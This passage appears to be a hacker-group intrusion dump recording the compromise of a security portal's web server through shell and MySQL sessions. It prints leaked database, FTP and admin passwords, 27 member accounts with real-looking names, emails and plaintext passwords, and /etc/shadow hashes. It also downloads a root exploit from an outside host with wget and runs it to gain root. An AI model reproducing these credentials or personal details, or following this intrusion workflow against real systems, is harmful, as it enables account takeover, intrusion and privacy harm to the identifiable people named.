764drwxrwxrwx 2 astanet astanet 4096 Jan 5 2006 backend
765drwxr-xr-x 2 astanet astanet 4096 Oct 24 2006 banner
766-rw-r--r-- 1 astanet astanet 25724 Apr 4 2006 banner.jpg
767drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 config
768drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 cron
769drwxr-xr-x 11 astanet astanet 4096 Jan 5 2006 dvd
770-rw-r--r-- 1 astanet astanet 36 Jan 5 2006 error.php
771-rw-r--r-- 1 astanet astanet 1406 Jan 5 2006 favicon.ico
772drwxrwxrwx 2 astanet astanet 4096 Dec 15 2006 feed
773drwxr-xr-x 3 astanet astanet 4096 Dec 8 2006 flashtour
774-rw-r--r-- 1 astanet astanet 18 Jan 5 2006 htaccess
775-rw-r--r-- 1 astanet astanet 585 Mar 24 14:50 .htaccess
776-rw-r--r-- 1 astanet astanet 398 Jan 5 2006 index1.php
777-rw-r--r-- 1 astanet astanet 1036 Jan 5 2006 _index.html
778-rw-r--r-- 1 astanet astanet 6880 Dec 23 14:44 index.php
779-rw-r--r-- 1 astanet astanet 676 Mar 21 2006 index_redirect.php
780-rw-r--r-- 1 astanet astanet 739 Feb 24 2006 index.swf
781drwxr-xr-x 4 astanet astanet 4096 Oct 18 2006 irc
782drwxr-xr-x 4 astanet astanet 4096 Aug 11 2006 lang
783drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 lib
784drwxr-xr-x 6 astanet astanet 4096 Aug 11 2006 log
785drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 member
786drwxrwxrwx 5 astanet astanet 4096 Jun 4 00:03 memberdata
787drwxr-xr-x 2 astanet astanet 4096 Jan 5 2006 new
788-rw-r--r-- 1 astanet astanet 7219 Feb 24 2006 pix1.swf
789drwxr-xr-x 2 astanet astanet 4096 Oct 27 2006 re
790-rw-r--r-- 1 astanet astanet 23 Jan 5 2006 robots.txt
791drwxr-xr-x 3 astanet astanet 4096 Aug 11 2006 rss
792drwxr-xr-x 39 astanet astanet 4096 Dec 13 2007 sources
793drwxrwxrwx 3 astanet astanet 4096 Feb 2 15:40 temp_com
794drwxr-xr-x 7 astanet astanet 4096 Aug 11 2006 themes
795drwxr-xr-x 2 astanet astanet 4096 Mar 14 2008 tmp_src
796drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 tpl
797drwxr-xr-x 3 astanet astanet 4096 Sep 7 2006 v2
798drwxr-xr-x 16 astanet astanet 4096 Jul 5 2006 v2_old
799-rw-r--r-- 1 astanet astanet 35 Dec 4 2006 webcash.php
800drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 wiki
801
802sh-3.2$ head -20 index.php
803<?PHP
804/**
805* Mainfile (external) for astalavistaNET v2.0
806*
807* @copyright Astalavista IT Engineering GmbH
808* @author Thomas Kaelin <thomas.kaelin@astalavista.ch>
809* @version 1.0
810*/
811
812 if ($_SERVER['PHP_SELF'] == '/webcash.php') {
813 $dontStartSession = false;
814 } else {
815 $dontStartSession = true;
816 }
817 require_once($_SERVER['DOCUMENT_ROOT'].'/config/com.conf.php');
818 require_once($_SERVER['DOCUMENT_ROOT'].'/config/ext.conf.php');
819 require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].'com.class.php');
820 require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].'ext.class.php');
821
822sh-3.2$ cd config
823sh-3.2$ ls -la
824total 32
825drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 .
826drwxr-x--- 29 astanet apache 4096 Jan 6 13:58 ..
827-rw-r--r-- 1 astanet astanet 987 Aug 11 2006 adm.conf.php
828-rw-r--r-- 1 astanet astanet 4937 Dec 23 15:48 com.conf.php
829-rw-r--r-- 1 astanet astanet 913 Aug 11 2006 cron.conf.php
830-rw-r--r-- 1 astanet astanet 1668 Aug 20 2008 ext.conf.php
831-rw-r--r-- 1 astanet astanet 2724 May 30 2007 int.conf.php
832
833sh-3.2$ cat com.conf.php
834[snip]
835//member-database
836$_CONFIG['db_mem_server'] = 'localhost';
837$_CONFIG['db_mem_database'] = 'astanet_membersystem';
838$_CONFIG['db_mem_user'] = 'astanet_db';
839$_CONFIG['db_mem_password'] = 'TXwVrC7hbq';
840$_CONFIG['db_mem_debug'] = false; //true or false
841//ads-database
842$_CONFIG['db_ads_server'] = 'localhost';
843$_CONFIG['db_ads_database'] = 'astanet_ads';
844$_CONFIG['db_ads_user'] = 'astanet_db';
845$_CONFIG['db_ads_password'] = 'TXwVrC7hbq';
846$_CONFIG['db_ads_debug'] = false; //true or false
847//rainbow-database
848$_CONFIG['db_rainbow_server'] = '212.254.194.163';
849$_CONFIG['db_rainbow_database'] = 'rainbow';
850$_CONFIG['db_rainbow_user'] = 'dinu';
851$_CONFIG['db_rainbow_password'] = 'dinudinu';
852$_CONFIG['db_rainbow_debug'] = false; //true or false
853//mailing lists database
854$_CONFIG['db_mailing_lists_server'] = 'localhost';
855$_CONFIG['db_mailing_lists_database'] = 'astanet_mailing_lists';
856$_CONFIG['db_mailing_lists_user'] = 'astanet_db';
857$_CONFIG['db_mailing_lists_password'] = 'TXwVrC7hbq';
858$_CONFIG['db_mailing_lists_debug'] = false; //true or false
859//paypal
860$_CONFIG['sub_pp_url'] = 'https://www.paypal.com/cgi-bin/webscr';
861$_CONFIG['sub_pp_cmd'] = '_xclick';
862$_CONFIG['sub_pp_business'] = 'info@astalavista.net';
863$_CONFIG['sub_pp_noship'] = '1';
864$_CONFIG['sub_pp_referer'] = 'https://www.paypal.com/';
865[snip]
866
867sh-3.2$ cd ..
868sh-3.2$ cd member
869sh-3.2$ ls -la
870total 20
871drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 .
872drwxr-x--- 29 astanet apache 4096 Jan 6 13:58 ..
873-rw-r--r-- 1 astanet astanet 19 Jan 13 14:02 .htaccess
874-rwxr-xr-x 1 astanet astanet 6709 Jan 13 14:06 index.php
875sh-3.2$ cat .htaccess
876SecFilterEngine off
877
878sh-3.2$ cd ..
879sh-3.2$ cd cron
880sh-3.2$ ls -la
881total 168
882drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 .
883drwxr-x--- 29 astanet apache 4096 Jan 6 13:58 ..
884-rw-r--r-- 1 astanet astanet 1272 Jan 12 08:24 0_corefile.php
885-rw-r--r-- 1 astanet astanet 2356 Aug 11 2006 0_functions.php
886-rw-r--r-- 1 astanet astanet 3616 Dec 23 15:44 1_daily.php
887-rw-r--r-- 1 astanet astanet 527 Aug 11 2006 1_fivemin.php
888-rw-r--r-- 1 astanet astanet 5006 Dec 23 15:39 1_hourly.php
889-rw-r--r-- 1 astanet astanet 432 Aug 11 2006 1_weekly.php
890-rw-r--r-- 1 astanet astanet 2277 Aug 11 2006 2_advertising.php
891-rw-r--r-- 1 astanet astanet 4882 Dec 23 15:40 2_archives.php
892-rw-r--r-- 1 astanet astanet 3784 Aug 16 2006 2_awstats.sh
893-rw-r--r-- 1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php
894-rw-r--r-- 1 astanet astanet 14979 Jan 12 09:10 2_expire.php
895-rw-r--r-- 1 astanet astanet 7657 Aug 15 2006 2_exploitree_updater.php
896-rw-r--r-- 1 astanet astanet 686 Dec 23 16:31 2_filesize.sh
897-rw-r--r-- 1 astanet astanet 9853 Aug 11 2006 2_keywords_old.php
898-rw-r--r-- 1 astanet astanet 15664 Sep 22 2006 2_keywords.php
899-rw-r--r-- 1 astanet astanet 1233 Aug 11 2006 2_proxy_checker.php
900-rw-r--r-- 1 astanet astanet 7558 Aug 11 2006 2_proxy_collector.php
901-rw-r--r-- 1 astanet astanet 796 Aug 11 2006 99_create_emails.php
902drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 99_lang_email
903-rw-r--r-- 1 astanet astanet 9622 Jan 6 16:04 login_reminder.php
904-rw-r--r-- 1 astanet astanet 9620 Jan 6 16:05 login_reminder_test.php
905
906sh-3.2$ cd ..
907sh-3.2$ cd _007
908sh-3.2$ ls -la
909total 24
910drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 .
911drwxr-x--- 29 astanet apache 4096 Jan 6 13:58 ..
912-rw-r--r-- 1 astanet astanet 96 Dec 23 15:17 .htaccess
913-rw-r--r-- 1 astanet astanet 3263 Jan 15 2007 index.php
914-rw-r--r-- 1 astanet astanet 20 Dec 27 2006 info.php
915drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 sitemap
916
917sh-3.2$ cat .htaccess
918authType Basic
919authName Admin
920authUserFile /home/astanet/auth/.htadm_pwd
921require valid-user
922
923sh-3.2$ cat /home/astanet/auth/.htadm_pwd
924admin2net:CR0bl65MwhfT
925
926sh-3.2$ mysql -u astanet_db -p
927Enter password:
928Welcome to the MySQL monitor. Commands end with ; or \g.
929Your MySQL connection id is 275153
930Server version: 5.0.45-community-log MySQL Community Edition (GPL)
931
932Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
933
934mysql> show databases;
935+-----------------------+
936| Database |
937+-----------------------+
938| information_schema |
939| astanet_ads |
940| astanet_mailing_lists |
941| astanet_mediawiki |
942| astanet_membersystem |
943| test |
944+-----------------------+
9456 rows in set (0.00 sec)
946
947mysql> use astanet_membersystem
948Database changed
949mysql> show tables;
950+-----------------------------------+
951| Tables_in_astanet_membersystem |
952+-----------------------------------+
953| blacklist_categories |
954| blacklist_content |
955| blacklist_levels |
956| blacklist_mcset |
957| dir_categories |
958| dir_comments |
959| dir_links |
960| dir_temp |
961| dir_votes |
962| documents |
963| documents_categories |
964| email_content |
965| email_settings |
966| exploits |
967| exploits_categories |
968| exploittree_categories |
969| exploittree_exploits |
970| home_values |
971| iso_countries |
972| links_categories |
973| links_records |
974| links_unauth |
975| links_votes |
976| log |
977| news_categories |
978| news_comments |
979| news_emoticons |
980| news_latest |
981| news_messages |
982| news_statistics |
983| news_votes |
984| prices_content |
985| prices_offers |
986| rss_settings |
987| sessions |
988| stats_signups |
989| u2u2 |
990| u2u_contact |
991| u2u_settings |
992| user_keywords_selected_categories |
993| users |
994| users_ipn_test |
995| users_keyword_values |
996| users_profile |
997| users_temp |
998| users_upgrade |
999+-----------------------------------+
100046 rows in set (0.00 sec)
1001
1002mysql> describe users;
1003+--------------------------+--------------------------------------+------+-----+---------------------+----------------+
1004| Field | Type | Null | Key | Default | Extra |
1005+--------------------------+--------------------------------------+------+-----+---------------------+----------------+
1006| primary_key | smallint(5) unsigned | NO | PRI | NULL | auto_increment |
1007| user | varchar(50) | NO | | | |
1008| nickname | varchar(30) | NO | MUL | anonymous | |
1009| password | varchar(30) | NO | | | |
1010| userlevel | tinyint(3) | YES | MUL | NULL | |
1011| exp | int(8) unsigned | NO | | 0 | |
1012| email | varchar(50) | NO | | | |
1013| ip | varchar(15) | NO | | 0 | |
1014| proxy | set('0','1') | NO | | 0 | |
1015| logtime | timestamp | NO | | CURRENT_TIMESTAMP | |
1016| login_reminder_last_sent | timestamp | NO | | 0000-00-00 00:00:00 | |
1017| anz_in | tinyint(1) | NO | | -1 | |
1018| status | tinyint(1) unsigned | NO | | 0 | |
1019| checked | set('0','1','2') | NO | | 0 | |
1020| freemember | set('0','1') | NO | | 0 | |
1021| ordertype | set('transfer','wp','pp','mc','CnB') | YES | | NULL | |
1022| lang | tinytext | NO | | | |
1023| adid | smallint(6) | NO | | 0 | |
1024| pp_txn_id | varchar(255) | YES | | NULL | |
1025| cnb_transaction_id | varchar(255) | YES | | NULL | |
1026| cnb_order_id | varchar(255) | YES | | NULL | |
1027| cnb_user_id | int(11) | YES | | 0 | |
1028+--------------------------+--------------------------------------+------+-----+---------------------+----------------+
102922 rows in set (0.01 sec)
1030
1031mysql> select count(*) as skids from users;
1032+-------+
1033| skids |
1034+-------+
1035| 25199 |
1036+-------+
10371 row in set (0.00 sec)
1038
1039mysql> select user,nickname,password,email from users where userlevel = 1;
1040+--------------------------+----------------------+------------------+-----------------------------------+
1041| user | nickname | password | email |
1042+--------------------------+----------------------+------------------+-----------------------------------+
1043| pascal | prozac | astaman3 | info@astalavista.net |
1044| Ivan Schmid | rOOtless1 | astalavista4asta | ivan.schmid@comvation.com |
1045| qreymer | Palermo | qblsw85iam | eche@home.se |
1046| Christian Wehrli | g0atherd | hitt?74 | g0atherd@gmx.net |
1047| Andrew Blake | Minky | liq73uid | a.blake@har.mrc.ac.uk |
1048| Martin Wyss | dinu | kj63;cXy | martin.wyss@astalavista.net |
1049| Leandro Nery | Timan_no_Sanco | nery2002 | leandronery@hotmail.com |
1050| shaving ryans privates | ShavingRyansPrivates | memberboard313 | shavingryansprivates1@hotmail.com |
1051| Gerben van der Lubbe | Spoofed Existence | Lb59eXg5 | spoofedexistence@hotmail.com |
1052| David M Lee | Daremo | icG12m03 | daremo@hackerheaven.com |
1053| David Corn | akriel | ve3uB$cUku | akriel@fallenroot.net |
1054| Thomas Kalin | Gwanun | QwErTy123 | thomas.kaelin@astalavista.net |
1055| Marcus unknown | Cra58cker | hhCr4ck06 | unknownmarcus@hotmail.com |
1056| David Ellis | dellis203 | philip | dellis@nightwatchnss.com |
1057| Lars Christian Solberg | xeor | tF3s4|Nea | xeor@hush.com |
1058| Paulo Santos | Be1er0ph0r1 | amor01 | pmsantos@gmx.ch |
1059| Thomas D?ppen | daha | asta4tom | thomas.daeppen@astalavista.ch |
1060| Touraj Abbasi Moghaddasi | -Crow1 | NetR0ck | toraj.a.m@gmail.com |
1061| Fabius Bernet | traviser | wellenreiter100 | fabius.bernet@astalavista.ch |
1062| Zachary McElroy | duder1 | dirty245dix | mcelroyzj@yahoo.com |
1063| Leron Cohen | cohen2 | leron4free | leron@quiredmedia.com |
1064| Beatriz Pontes | anonymous1656 | pitas | joao.pedro.pontes@gmail.com |
1065| Glafkos Charalambous | anonymous2086 | si99490178$# | nowayout@webhostline.com |
1066| developer COMVATION | anonymous2402 | Ri?Q$Q$MVU | ivan.schmid@astalavista.ch |
1067| Peter Fisher | cyph3r1 | testZer025435 | cyph3r@astalavista.com |
1068| sykadul | sykadul | ak29eral | sykadul@gmail.com |
1069| Ronny Janzi | commander1 | mpbdaagf6m | ronny.janzi@astalavista.ch |
1070+--------------------------+----------------------+------------------+-----------------------------------+
107127 rows in set (0.00 sec)
1072
1073mysql> exit;
1074Bye
1075
1076[~] plaintext passwords? yes,
1077 Those so called "security professionals" who charge you $6.66 / month to
1078 register at their hack-proof portal, save your passwords in plaintext...
1079 brilliant!
1080
1081
1082[~] This been fun but we want more.
1083
1084sh-3.2$ uname -a
1085Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
1086sh-3.2$ wget http://anti.sec.labs/g0troot
1087--13:33:37-- http://anti.sec.labs/g0troot
1088Resolving anti.sec.labs... 13.33.33.37
1089Connecting to anti.sec.labs|13.33.33.37|:80... connected.
1090HTTP request sent, awaiting response... 200 OK
1091Length: 18200 (18K) [text/plain]
1092Saving to: `g0troot'
1093
1094100%[=========================================================================================================================================>] 18,200 58.6K/s in
10950.3s
1096
109718:55:14 (58.6 KB/s) - `g0troot' saved [18200/18200]
1098
1099sh-3.2$ ./g0troot -i x86_64
1100 [+] g0troot - anti.sec.labs
1101 [+] Target: 2.6.18-128.1.10.el5
1102 [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]
1103
1104 [+] r00tr00t
1105 [~] Executing shell...
1106
1107sh-3.2# id
1108uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
1109
1110sh-3.2# cat /etc/shadow
1111root:$1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::
1112[snip]
1113admin:$1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::
1114jon:$1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::
1115com:$1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::
1116astanet:$1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::
1117
1118sh-3.2# cat /etc/motd
1119#####################################################
1120#____ ____ ___ ____ _ ____ _ _ _ ____ ___ ____ #
1121# |__| [__ | |__| | |__| | | | [__ | |__| #
1122# | | ___] | | | |___ | | \/ | ___] | | | #
1123# #
1124#####################################################
1125# #
1126# Admin Contact - support@secureservertech.com #
1127# #
1128# Available ShortCuts #
1129# #
1130# nst - list active connections #
1131# ddos - shows how many times each ip is connected #
1132# ltr - restart the webserver #
1133# phpc - edit the php config file #
1134# htc - edit the webserver configuration file #
1135# up - uptime #
1136# etd - edit the motd of the day file #
1137# htr - start and restart apache if needed #
1138# syng - shows active SYN_RECV connections #
1139# synd - syn flood blocker - "synd -h" for usage #
1140#####################################################
1141# NOTES: #
1142# Last Upgrade - 12-08-2008 by JF #
1143# My.cnf/Mysql Optimization - 1-28-09 #
1144# #
1145# #
1146# #
1147#####################################################
1148
1149sh-3.2# lastlog | grep -v Never
1150Username Port From Latest
1151root pts/1 adsl-194-162-fix Thu Jun 4 07:19:14 +0000 2009
1152admin pts/1 cp.secureservert Thu Mar 20 10:25:39 +0000 2008
1153com pts/0 cust.static.212- Tue Jun 2 07:46:30 +0000 2009
1154astanet pts/0 adsl-194-162-fix Thu Apr 16 08:20:44 +0000 2009
1155
1156sh-3.2# ls -la
1157total 453376
1158drwxr-x--- 15 root root 4096 Jun 4 08:40 .
1159drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
1160-rw-r--r-- 1 root root 2394400 Oct 19 2007 10mbtest.zip
1161-rw------- 1 root root 1006 Sep 11 2007 anaconda-ks.cfg
1162-rw------- 1 root root 16836 Jun 4 07:21 .bash_history
1163-rw-r--r-- 1 root root 24 Jan 6 2007 .bash_logout
1164-rw-r--r-- 1 root root 191 Jan 6 2007 .bash_profile
1165-rw-r--r-- 1 root root 176 Jan 6 2007 .bashrc
1166-rwx------ 1 root root 1899 Oct 28 2007 bk.sh
1167-rw-r--r-- 1 root root 1327 Nov 29 2007 cert
1168-rw-r--r-- 1 root root 139860821 May 14 2008 contrexxbackup_20080514.sql
1169drwxr-xr-x 4 root root 4096 May 20 2008 .cpan
1170-rw-r--r-- 1 root root 100 Jan 6 2007 .cshrc
1171-rw-r--r-- 1 root root 323079 Mar 31 13:48 defaultp_ports.sql
1172drwx------ 2 root root 4096 Oct 28 2007 .elinks
1173drwxr-xr-x 13 root root 4096 Mar 21 2008 gdb-6.7.1
1174-rw-r--r-- 1 root root 15080950 Oct 29 2007 gdb-6.7.1.tar.bz2
1175-rw------- 1 root root 0 Apr 16 13:19 .history
1176-rw-r--r-- 1 root root 16095 Sep 11 2007 install.log
1177-rw-r--r-- 1 root root 2566 Sep 11 2007 install.log.syslog
1178-rw-r--r-- 1 root root 1003 Jul 22 2007 install.sh
1179-rw------- 1 root root 35 Jun 2 14:23 .lesshst
1180drwxr-xr-x 2 root root 4096 Dec 29 2007 .lftp
1181drwxr-xr-x 10 root root 4096 Sep 14 2007 linux-2.6.19.2-grsec
1182-rw-r--r-- 1 root root 94979336 Feb 16 2007 linux-2.6.19.2-grsec.tar.gz
1183-rw-r--r-- 1 root root 4737058 Sep 22 2007 linux-2.6.22.tar.bz2
1184-rwx------ 1 root root 760 Sep 18 2008 lp
1185drwxr-xr-x 12 root root 4096 Nov 30 2007 lsws-3.3.1
1186-rw-r--r-- 1 root root 2480045 Nov 30 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz
1187-rw-r--r-- 1 root root 6388501 Nov 29 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.1
1188drwxr-xr-x 12 root root 4096 Mar 21 2008 lsws-3.3.9
1189-rw-r--r-- 1 root root 6437577 Mar 21 2008 lsws-3.3.9-ent-x86_64-linux.tar.gz
1190drwxr-xr-x 12 root root 4096 May 29 15:10 lsws-4.0.3
1191-rw-r--r-- 1 root root 6496050 May 8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz
1192-rw-r--r-- 1 root root 25316 Feb 15 2006 mybk.sh
1193-rw------- 1 root root 41 Oct 19 2007 .my.cnf
1194-rw------- 1 root root 2902 Jun 4 08:40 .mysql_history
1195-rwx------ 1 root root 38873 Apr 16 2008 mysqlreport
1196-rw------- 1 root root 41 May 20 2008 .mytop
1197drwxr-xr-x 3 1000 1000 4096 May 20 2008 mytop-1.6
1198-rw-r--r-- 1 root root 19720 Feb 17 2007 mytop-1.6.tar.gz
1199drwxr-xr-x 2 root root 4096 Oct 28 2007 .ncftp
1200-rw------- 1 root root 1462 Sep 21 2007 opt.php
1201-rw-r--r-- 1 root root 3371 Sep 22 2007 p
1202-rw-r--r-- 1 root root 7608429 Aug 30 2007 php-5.2.4.tar.bz2
1203-rw------- 1 root root 1024 Feb 3 21:32 .rnd
1204-rw-r--r-- 1 root root 716 Nov 28 2007 server.csr
1205-rw-r--r-- 1 root root 887 Nov 28 2007 server.key
1206drwx------ 2 root root 4096 Oct 10 2008 .ssh
1207-rw-r--r-- 1 root root 44227 Oct 28 2007 tar-inc-backup.dat
1208-rw-r--r-- 1 root root 129 Jan 6 2007 .tcshrc
1209-rw-r--r-- 1 root root 104874307 Oct 17 2007 test100.zip
1210-rw-r--r-- 1 root root 67085540 Oct 19 2007 test100.zip.1
1211drwxr-xr-x 2 root root 4096 Apr 29 11:15 tmp
1212-rw-r--r-- 1 root root 42596 May 21 2007 tuning-primer.sh
1213drwxrwxrwx 19 1000 users 4096 Mar 21 2008 valgrind-3.3.0
1214-rw-r--r-- 1 root root 4519551 Dec 11 2007 valgrind-3.3.0.tar.bz2
1215-rw------- 1 root root 12997 May 16 2008 .viminfo
1216
1217sh-3.2# cat .bash_history
1218[snip]
1219wget cp4sst.com/sstlinux.tar.gz
1220tar zxvf sstlinux.tar.gz
1221cd linux-2.6.27.10
1222sh install.sh
1223make bzImage ; make modules ; make modules_install ; make install
1224make clean
1225service mysqld restart
1226[snip]
1227cd /usr/sbin/
1228chmod 4777 traceroute
1229chmod 4777 ping
1230traceroute -I www.astalavista.ch
1231[snip]
1232vi /etc/csf/csf.conf
1233traceroute google.ch
1234service csf restart
1235tracert google.ch
1236service csf restart
1237traceroute www.google.ch
1238tracert www.google.ch
1239traceroute www.google.ch
1240locate traceroute
1241chown 4755 /bin/traceroute
1242chown 4777 /bin/traceroute
1243locate ping
1244chown 4755 /bin/ping
1245chown 4777 /bin/ping
1246cd /bin/
1247ls -ali | grep ping
1248chown root ping
1249chmod 4755 ping
1250ls -ali | grep traceroute
1251chown root traceroute
1252chmod 4755 traceroute
1253ls -ali | grep traceroute
1254traceroute -I www.google.ch
1255traceroute www.google.ch
1256whois pmsantos.ch
1257[snip]
1258mysql -h com_contrexx2_live < /root/defaultp_ports.sql
1259mysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql
1260mysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql
1261mysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql
1262top
1263ping ssth.ch
1264ping asdlkfaljgasd???ljg???lasj.ch
1265ping asdlkfaljgasdlasj.ch
1266ping www.ssth.ch
1267ping ssth.ch
1268nslookup www.google.ch
1269nslookup www.ssth.ch
1270man nslookup
1271ping www.google.ch
1272nslookup www.google.ch
1273nslookup www.google.ch
1274nslookup salfjasdlf.ch
1275[snip]
1276openssl passwd -1 sadf
1277openssl passwd -1 5cZNHstdTy
1278mysql
1279mysql
1280locate proftp
1281vi /etc/proftpd.passwd
1282service proftpd restart
1283locate proftpd.conf
1284vi /etc/proftpd.conf
1285vi /etc/proftpd.passwd
1286service proftpd restart
1287[snip]
1288/bin/sh /home/com/backup_system/backup.sh
1289tar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin
1290mysqldump -h localhost -u contrexxuser2 --password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql
1291mysqldump -h localhost -u contrexxuser2 --password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql
1292ls -ali
1293mysqldump -h localhost -u com_user1 --password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql
1294mysqldump -h localhost -u com_user1 --password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql
1295crontab -l
1296crontab -l
1297php -q /home/com/public_html/modifications/cronjobs/securitynews.php
1298/home/com/public_html/modifications/cronjobs/exploits.sh
1299wget http://www.litespeedtech.com/packages/4.0/lsws-4.0.3-ent-x86_64-linux.tar.gz
1300tar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz
1301cd lsws-4.0.3
1302sh install.sh
1303uptime
1304hdparm -tt /dev/sda
1305iostat
1306yum install iostat
1307iostat
1308whereis iostat
1309yjm clean all
1310yum clean all ; yum -y update
1311iostat
1312yum install systat
1313rpm -qa | grep iostat
1314rpm -qa | grep sysstat
1315rpm -qa | grep systat
1316dmesg -c
1317sysctl -p
1318uname -r
1319cd /usr/src
1320wget nix101.com/kernels/sstlinux.tar.gz
1321shutdown -r now
1322nano -w /boot/grub/grub.conf
1323
1324sh-3.2# cat .my.cnf
1325[client]
1326user=da_admin
1327password=X9dctmRH
1328
1329sh-3.2# cat /home/com/backup_system/backup.sh
1330#!/bin/sh
1331#####################################################################
1332# #
1333# incremental backup for astalavista.com #
1334# #
1335# author: Paulo M. Santos <paulo.santos@astalavista.com> #
1336# #
1337#####################################################################
1338[snip]
1339PROG_DIR="/home/com/backup_system";
1340BACKUP_DIR="/home/com/backups";
1341DOBACKUP_FROM="/home/com/domains/astalavista.com/public_html";
1342# ftp for synology backup server
1343FTP_HOST="212.254.194.163";
1344FTP_PORT="21";
1345FTP_USER="astalavista.com";
1346FTP_PASS="yWHOJbzpWTWC6Xrmg1WnfBk5V";
1347FTP_DIR="/astalavista.com";
1348# database
1349DB_HOST="localhost";
1350DB_USER="contrexxuser2";
1351DB_PASS="0fEYNZgXz1pKe";
1352DB_DATABASE1="com_contrexx2_live";
1353DB_DATABASE2="com_contrexx2";
1354[snip]
1355ftp -in $FTP_HOST $FTP_PORT <<EOF
1356quote USER $FTP_USER
1357quote PASS $FTP_PASS
1358cd $FTP_DIR
1359put $DB_FULLNAME-SQL_Dump.tar
1360put $BACKUP_FULLNAME-Public_HTML.tar
1361close
1362bye
1363EOF
1364
1365sh-3.2# cd /home
1366sh-3.2# ls -la
1367total 120
1368drwxr-xr-x 14 root root 4096 Mar 11 17:56 .
1369drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
1370drwx--x--x 9 admin admin 4096 Nov 28 2007 admin
1371-rw------- 1 root root 8192 Jun 4 03:03 aquota.group
1372-rw------- 1 root root 8192 Jun 3 02:45 aquota.user
1373drwx--x--x 6 astanet astanet 4096 Jun 4 09:51 astanet
1374drwxr-xr-x 2 root root 4096 Jul 29 2008 backup
1375drwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161
1376drwx--x--x 10 com com 4096 Apr 28 12:40 com
1377drwxr-xr-x 2 root root 4096 May 17 2007 ftp
1378drwx------ 3 jon jon 4096 Sep 21 2007 jon
1379drwx------ 2 root root 16384 Sep 11 2007 lost+found
1380drwxr-xr-x 2 root root 4096 Sep 14 2007 my
1381drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata
1382drwx------ 2 jon jon 4096 Sep 15 2007 test
1383drwxrwxrwt 2 root root 4096 Jul 29 2008 tmp
1384
1385sh-3.2# cd admin
1386sh-3.2# ls -la
1387total 1735896
1388drwx--x--x 9 admin admin 4096 Nov 28 2007 .
1389drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
1390drwxrwxr-x 2 admin admin 4096 Oct 25 2007 admin_backups
1391drwx------ 2 admin admin 4096 Sep 28 2007 backups
1392-rw------- 1 admin admin 860 Sep 17 2008 .bash_history
1393-rw-r--r-- 1 admin admin 24 Sep 14 2007 .bash_logout
1394-rw-r--r-- 1 admin admin 176 Sep 14 2007 .bash_profile
1395-rw-r--r-- 1 admin admin 124 Sep 14 2007 .bashrc
1396drwxr-xr-x 2 root root 4096 Sep 28 2007 com_backups
1397drwx--x--x 6 admin admin 4096 Sep 21 2007 domains
1398drwxrwx--- 3 admin mail 4096 Sep 21 2007 imap
1399-rw-r--r-- 1 root root 24 Sep 21 2007 info.php
1400drwx------ 2 admin admin 4096 Sep 21 2007 mail
1401-rw-r--r-- 1 root root 716 Nov 28 2007 server.csr
1402-rw-r--r-- 1 root root 887 Nov 28 2007 server.key
1403-rw-r----- 1 admin mail 34 Sep 14 2007 .shadow
1404-rw-r----- 1 admin com 1775711054 Oct 25 2007 user.admin.com.tar.gz
1405drwx--x--x 2 admin admin 4096 Jul 29 2008 user_backups
1406
1407sh-3.2# ..
1408sh-3.2# cd jon
1409sh-3.2# ls -la
1410total 36
1411drwx------ 3 jon jon 4096 Sep 21 2007 .
1412drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
1413-rw------- 1 jon jon 53 Sep 21 2007 .bash_history
1414-rw-r--r-- 1 jon jon 24 Sep 21 2007 .bash_logout
1415-rw-r--r-- 1 jon jon 176 Sep 21 2007 .bash_profile
1416-rw-r--r-- 1 jon jon 124 Sep 21 2007 .bashrc
1417-rw-r--r-- 1 root root 24 Sep 21 2007 info.php
1418drwxrwxr-x 2 jon jon 4096 Sep 21 2007 public_html
1419
1420sh-3.2# cd ..
1421sh-3.2# cd test
1422sh-3.2# ls -la
1423total 48
1424drwx------ 2 jon jon 4096 Sep 15 2007 .
1425drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
